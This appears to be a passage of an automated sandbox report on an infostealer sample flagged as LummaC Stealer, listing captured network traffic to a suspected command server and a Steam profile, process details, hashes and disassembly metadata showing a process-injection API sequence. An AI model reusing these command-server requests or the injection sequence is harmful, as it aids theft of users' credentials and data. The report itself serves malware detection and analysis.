2024-09-27 09:19:16 UTC	764	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4tpfivfe2avg16b9ogek6q251i; expires=Tue, 21 Jan 2025 03:05:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nngU2s%2F6mALcAo3WyJkwoOTULnvWUZWvOOUTz7lIu71PALk5qm2e1siGjYuJP9PJsk1qm9jVxih%2Bzrdlo0peiJJsBWVD7XlXCHhV7g2yVHPACF7JPZqa05zJhouVLr6XwuGO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9a693eaaee72a7-EWR
2024-09-27 09:19:16 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-27 09:19:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49708	104.102.49.254	443	1448	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:19:17 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-09-27 09:19:17 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 27 Sep 2024 09:19:17 GMT Content-Length: 34663 Connection: close Set-Cookie: sessionid=bbe520e1870ce7e0b69aeb25; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-27 09:19:17 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-27 09:19:17 UTC	16384	IN	Data Raw: 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 Data Ascii: ernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" a
2024-09-27 09:19:17 UTC	3765	IN	Data Raw: 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 Data Ascii: e info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49709	104.21.2.13	443	1448	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:19:18 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ballotnwu.site
2024-09-27 09:19:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-27 09:19:18 UTC	770	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:19:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4j4orbhatdcse9u3d3skvra61g; expires=Tue, 21 Jan 2025 03:05:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HFr5kgVdTPcCADsxL%2FuqVt8SgVfx8FFfOJaoyvmdlQXJWa%2F3s3APHXBcNXHzMExoaukaxvueOGSt5PguhDiHCWWZ938PbxMh4Nf%2BJa96EoIz5LlyErDpVSdDNIrflbyW7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9a694c2d028cd4-EWR
2024-09-27 09:19:18 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-27 09:19:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:19:07
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\kewyIO69TI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kewyIO69TI.exe"
Imagebase:	0x850000
File size:	375'296 bytes
MD5 hash:	EE766F8A002BC94C1ED54DC7602547C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:19:07
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:19:07
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x460000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:19:07
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x910000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	20.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	36.4%
Total number of Nodes:	22
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02CF2155 Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02CF20C7,02CF20B7), ref: 02CF22C4
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02CF22D7
Wow64GetThreadContext.KERNEL32(0000031C,00000000), ref: 02CF22F5
ReadProcessMemory.KERNELBASE(00000318,?,02CF210B,00000004,00000000), ref: 02CF2319
VirtualAllocEx.KERNELBASE(00000318,?,?,00003000,00000040), ref: 02CF2344
TerminateProcess.KERNELBASE(00000318,00000000), ref: 02CF2363
WriteProcessMemory.KERNELBASE(00000318,00000000,?,?,00000000,?), ref: 02CF239C
WriteProcessMemory.KERNELBASE(00000318,00400000,?,?,00000000,?,00000028), ref: 02CF23E7
WriteProcessMemory.KERNELBASE(00000318,?,?,00000004,00000000), ref: 02CF2425
Wow64SetThreadContext.KERNEL32(0000031C,02C30000), ref: 02CF2461
ResumeThread.KERNELBASE(0000031C), ref: 02CF2470

Strings

SetThreadContext, xrefs: 02CF227B
CreateProcessA, xrefs: 02CF2209
GetP, xrefs: 02CF21D7
GetThreadContext, xrefs: 02CF222F
VirtualAllocEx, xrefs: 02CF2255
ress, xrefs: 02CF21DF
ResumeThread, xrefs: 02CF2291
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02CF22C3
ReadProcessMemory, xrefs: 02CF2242
Load, xrefs: 02CF2193
aryA, xrefs: 02CF219B
VirtualAlloc, xrefs: 02CF221C
TerminateProcess, xrefs: 02CF2353
WriteProcessMemory, xrefs: 02CF2268

Memory Dump Source

Source File: 00000000.00000002.1294442611.0000000002CF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf1000_kewyIO69TI.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 47c6b93150d591b7eb1435ebed121497986412bdd4e5f53e923bb9b612bb8cb3
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 1AB1D67664024AAFDB60CF68CC80BDA77A5FF88714F158524EA0CAB341D774FA51CB94

Function 01200C40 Relevance: .3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1294287855.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1200000_kewyIO69TI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 122559c0dfb25cd9e87cd65cdbd3031cf0931226791b34228c8c3a52e38d5ec8
Instruction ID: ddcab0ff11934924a2150df270c8405ae77871d994048aed4cfeb437fef22438
Opcode Fuzzy Hash: 122559c0dfb25cd9e87cd65cdbd3031cf0931226791b34228c8c3a52e38d5ec8
Instruction Fuzzy Hash: 76D1A170A142598FDB16CFA8C484BECFBF2BF58314F188669E455E7286C734AC41CBA4

Function 01201218 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 012012A0

Memory Dump Source

Source File: 00000000.00000002.1294287855.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1200000_kewyIO69TI.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f1e8a1a4a6e03d3a788aad5cf4a814236e92af947f857b5fde44039b540f7857
Instruction ID: 2db59067505184173f01dad9b5eb18f103c504e51aaba137dbb85a49132d49a6
Opcode Fuzzy Hash: f1e8a1a4a6e03d3a788aad5cf4a814236e92af947f857b5fde44039b540f7857
Instruction Fuzzy Hash: 5D2123B1C103499FDB10DFAAC880ADEBBF4FF48310F508529E959A3240C735A904CBA1

Function 01201220 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 012012A0

Memory Dump Source

Source File: 00000000.00000002.1294287855.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1200000_kewyIO69TI.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4b7e804b53c671808cedacc8f2f21dba6672b209f7de86c520d436263ddba469
Instruction ID: 62241d7dc87dbb637157ea06cf15d800a2f0362ddf5875693f7baa2f71730971
Opcode Fuzzy Hash: 4b7e804b53c671808cedacc8f2f21dba6672b209f7de86c520d436263ddba469
Instruction Fuzzy Hash: 9C2102B1C003599FDB20DFAAC880ADEBBF4FF48310F50852AE919A3240C775A901CBA1

Analysis Process: RegAsm.exePID: 1448, Parent PID: 6720COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	47.2%
Total number of Nodes:	125
Total number of Limit Nodes:	11

Executed Functions

Function 0040D470 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 153
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 0040D481
GetCurrentThreadId.KERNEL32 ref: 0040D496
GetCurrentProcessId.KERNEL32 ref: 0040D49C
ExitProcess.KERNEL32 ref: 0040D650

Strings

mlon, xrefs: 0040D5EE
qpsr, xrefs: 0040D613, 0040D61B

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ExitInputStateThread
String ID: mlon$qpsr
API String ID: 1029096631-2320206279
Opcode ID: 7930aff37ba72ce8264af3c29ed56ea6ce6d8b229feb210a3e04cfecf3ed9881
Instruction ID: 0b5985bc83f50576ef1f085b5a0d62e7e6efba06dbaf663de6811bcd9dd79fdb
Opcode Fuzzy Hash: 7930aff37ba72ce8264af3c29ed56ea6ce6d8b229feb210a3e04cfecf3ed9881
Instruction Fuzzy Hash: 7D416C7480C240ABD301BFA8D544A1EFBE5EF56705F148C2EE4C4A7392C23AC818CB6B

Function 00447AC9 Relevance: 5.3, Strings: 4, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

}D, xrefs: 00447D03
4`[b, xrefs: 00447CE0
%sgh, xrefs: 00447B40
{D, xrefs: 00447BCE

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: }D$%sgh$4`[b${D
API String ID: 0-1200795032
Opcode ID: 05b3149f2a3e830b37f71957d57e1fb7ca9e9332a621777ac5fd2e0c82385c56
Instruction ID: e9ff087d7b6ba292c07e2a373faf3cf3d0a9800b043d4ee0ae862f7c510f9595
Opcode Fuzzy Hash: 05b3149f2a3e830b37f71957d57e1fb7ca9e9332a621777ac5fd2e0c82385c56
Instruction Fuzzy Hash: 05817A7060C3419FE710EF28D890A2EBBE5EB99315F148C6DF1C597262C739E891CB1A

Function 004476D0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(0044B41F,?,00000004,?,?,00000018,?), ref: 004476FE

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 00447E1B Relevance: 1.3, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 00447E85

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 2042c984cff8e36586f157c90dfe1e22c009bb683d2571c29aa94926772e1527
Instruction ID: cdf6f297f13441fe2925969da6b6994966f8396d0ae99224b9e918e95d5920a6
Opcode Fuzzy Hash: 2042c984cff8e36586f157c90dfe1e22c009bb683d2571c29aa94926772e1527
Instruction Fuzzy Hash: 9B31A97180C3018BE714DF28C89072BB7F1EF95305F44596EF8C9A72A1E7399845CB9A

Function 00447D38 Relevance: .5, Instructions: 487
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5fa1b09104253a195c0fe57cdf171331a83f09fff8ede92eb3ccc747820151f
Instruction ID: 8bcc6fb386cb15c142638edae28a52624d13c148528c1f92ba7a2a6e1e143af4
Opcode Fuzzy Hash: f5fa1b09104253a195c0fe57cdf171331a83f09fff8ede92eb3ccc747820151f
Instruction Fuzzy Hash: A7021036A08341CFD700DF28E89052EB7E1FB89312F194A7EE49487392D735E955CB86

Function 0040F807 Relevance: .4, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12b76bd1cddf45bbd6207310afd8c4b1868e0259217c3cf0ed6db9d5703ced3b
Instruction ID: cd89484c1d0e19e46c954de61e31bbebaec41b12b1ade970bd1187d44bb00fae
Opcode Fuzzy Hash: 12b76bd1cddf45bbd6207310afd8c4b1868e0259217c3cf0ed6db9d5703ced3b
Instruction Fuzzy Hash: B8C11574904256CFCB25CF68C8506BFB7B1FF46300F18497AE451AB792D339A85ACB98

Function 0040F042 Relevance: .3, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca4472624897f6057df6c8ffb23683dd2a6b038d4d54d03cf02992a55fdc48f7
Instruction ID: ef9271f13a37813059f82d7b2aef6f9b9132d2b5a11f53dfc547668204b89559
Opcode Fuzzy Hash: ca4472624897f6057df6c8ffb23683dd2a6b038d4d54d03cf02992a55fdc48f7
Instruction Fuzzy Hash: 6CA17DB6C14214DFDB109FA0EC915BEBBB1FB0A309F04047AE805BB362E7759914CB69

Function 0044445C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 00444474

Strings

|DD, xrefs: 00444476

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: |DD
API String ID: 1279760036-1192118190
Opcode ID: 4cbc25f787769cefebd05a7767c6a86754462c7e8b1f71f112afd27836c89513
Instruction ID: 3820a18ae079cb7e4426f798123fe2c3e110840b7bb1f0220b84c6f01d08581c
Opcode Fuzzy Hash: 4cbc25f787769cefebd05a7767c6a86754462c7e8b1f71f112afd27836c89513
Instruction Fuzzy Hash: A6B01230146210BCD03113111CC5FFF3C2CAF83F5EF101014B208180C047549001D07D

Function 00444470 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 00444474

Strings

|DD, xrefs: 00444476

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: |DD
API String ID: 1279760036-1192118190
Opcode ID: 624b63b64e6b03db0bd12635e7aa1ed08730c5fdf8c669e26ca804604db2a04b
Instruction ID: e0ccf817579d59bbce23a8ee5fc248487fbde0254dbb899775f0dc122b38b7e8
Opcode Fuzzy Hash: 624b63b64e6b03db0bd12635e7aa1ed08730c5fdf8c669e26ca804604db2a04b
Instruction Fuzzy Hash: D2A00231145211EDD16117556C95F6F3968AB82A5EF100064B2081809586649041D56D

Function 00447130 Relevance: 1.6, APIs: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(4B6A4902,00000000), ref: 004471C7

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 075eca6f4d3ab2b32250008e5405eb17f7b6311b29791edff883b0048aa32bd2
Instruction ID: 791a43c74a769a95d2d08492084f957e37920ab13efbc1f4451e356eca9c60a1
Opcode Fuzzy Hash: 075eca6f4d3ab2b32250008e5405eb17f7b6311b29791edff883b0048aa32bd2
Instruction Fuzzy Hash: F711E435508240EBE3006F28EC45F2B7BB4EF96716F044879F48487212D339D851CBAA

Function 00444490 Relevance: 1.6, APIs: 1, Instructions: 62
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(4B6A4902,00000000), ref: 00444530

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7303358f5359f19ca23f0687a22b433efaff00f6e34e09b9e2f94b9ea2ceaedc
Instruction ID: caa5a61c1fc6514fa69d27dc7abdf64d4e2d01bb00e12b800d78490065dd5173
Opcode Fuzzy Hash: 7303358f5359f19ca23f0687a22b433efaff00f6e34e09b9e2f94b9ea2ceaedc
Instruction Fuzzy Hash: 5A01803550C240DFD210AB18ED80A1ABBF8EF8A716F054868E5C48B252C335EC50DB6A

Non-executed Functions

Function 0041E71A Relevance: 30.0, Strings: 23, Instructions: 1251COMMON

Download Yara Rule

Strings

@A^_, xrefs: 0041EF5D
dgfi, xrefs: 0041F114
x{z}, xrefs: 0041F0F3
!>?, xrefs: 0041EF05
HKJM, xrefs: 0041F177
PQno, xrefs: 0041EF89
01NO, xrefs: 0041EF31
HIFG, xrefs: 0041EF47
\]Z[, xrefs: 0041EF68
0, xrefs: 0041F04F
()&', xrefs: 0041EEEF
,-*+, xrefs: 0041EEE4
XYVW, xrefs: 0041EF73
4523, xrefs: 0041EF26
ONIH, xrefs: 0041F02E
xyvw, xrefs: 0041EFCB
(qM, xrefs: 0041F109
<=:;, xrefs: 0041EF10
LMJK, xrefs: 0041EF3C
turs, xrefs: 0041EFD6
z%, xrefs: 0041F11F
[ZED, xrefs: 0041F00D
DEBC, xrefs: 0041EF52

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
